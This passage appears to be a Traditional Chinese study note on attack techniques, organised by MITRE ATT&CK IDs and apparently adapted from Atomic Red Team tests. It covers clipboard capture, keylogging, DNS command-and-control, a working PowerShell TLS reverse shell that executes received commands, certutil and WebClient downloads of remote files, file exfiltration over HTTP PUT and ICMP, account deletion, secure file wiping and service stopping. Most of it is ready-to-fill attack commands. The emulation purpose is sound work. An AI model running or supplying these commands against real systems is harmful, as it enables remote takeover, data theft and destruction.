將稱為 test.txt 的檔案內容複寫到 Windows 剪貼簿 clip < test.txt

  • 使用 PowerShell
Get-Process | clip

T1056.001 Keylogging

惡意攻擊者記錄使用者的輸入,比如收集使用者輸入密碼的時候,可竊取到密碼。

時常濫用 Windows 內建 Hook API、硬體緩衝區的 key 、註冊表等方法。

  • 腳本來自 key_logger,並修正以下三行。
[line 56] MessageBox(NULL, (char *) a, (char *) b, MB_ICONERROR);
[line 93] strcpy(lastwindow, window_title);
[line 98] localtime(&t);

Command and Control

T1071.004 DNS

惡意攻擊者透過 DNS 進行通訊,以繞過網路偵測系統。

for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}

T1573 Encrypted Channel

惡意攻擊者使用已知的加密演算法來隱藏命令與控制流量。

$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient(&#039;#{server_ip}&#039;, &#039;#{server_port}&#039;)
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient(&#039;fake.domain&#039;, $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write(&#039;PS &#039; + (pwd).Path + &#039;> &#039;)
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;> &#039;;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

T1105 Ingress Tool Transfer

惡意攻擊者透過工具從外部系統轉移到受害網路中,透過命令或控制通道將惡意工具傳送到內部網路。

  • cmd
    利用 certutil 中的 -urlcache 參數下載 Web 檔案。
cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}

  • PowerShell
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }

(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")

Exfiltration

T1020 Automated Exfiltration

惡意攻擊者透過自動處理來竊取敏感資料,

$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}


T1048.003 Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

  • 透過 HTTP 取得敏感資料,於受害主機執行 HTTP Server
python -m SimpleHTTPServer 1337
  • 透過 ICMP 傳送檔案
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }

使用 Windows WireShark 監聽 Adapter for loopback traffic capture

T1567 Exfiltration Over Web Service

攻擊者使用合法的外部 Web 服務來竊取資料,如 Ngrok,如外部的 Web 服務對於企業的防火牆可以已存在「合法可通行」的規則,允許存取這些「合法」的外部 Web 服務。

受害網站 CDN 被加入惡意腳本,購物者付款後,會收集信用卡資料,透過重導向的方式,發送到自定義的 ngrok 伺服器。

Impact

T1531 Account Access Removal

攻擊者破壞受害者系統中的帳號,透過刪除、修改、鎖定帳號,使得受害者無法存取帳號。

  • 更新受害者的密碼,使受害者無法存取帳號。(admin權限)
net user #{user_account} #{new_user_password} /add
net.exe user #{user_account}

  • 刪除受害者帳號
net.exe user #{user_account} /delete

T1485 Data Destruction

攻擊者破壞受害者系統的資料與檔案,進而中斷系統、服務、網路資源的可用性。

Invoke-Expression -Command ".\sdelete.exe -accepteul a h1dra.txt

-Invoke-Expression 在本機系統執行指令。

T1489 Service Stop​​

攻擊者停止或禁用受害者系統的服務,進而使受害者無法使用。

  • 使用 cmd 並以 admin 執行
sc.exe stop #{service_name}
net.exe stop #{service_name}
taskkill.exe /f /im #{process_name}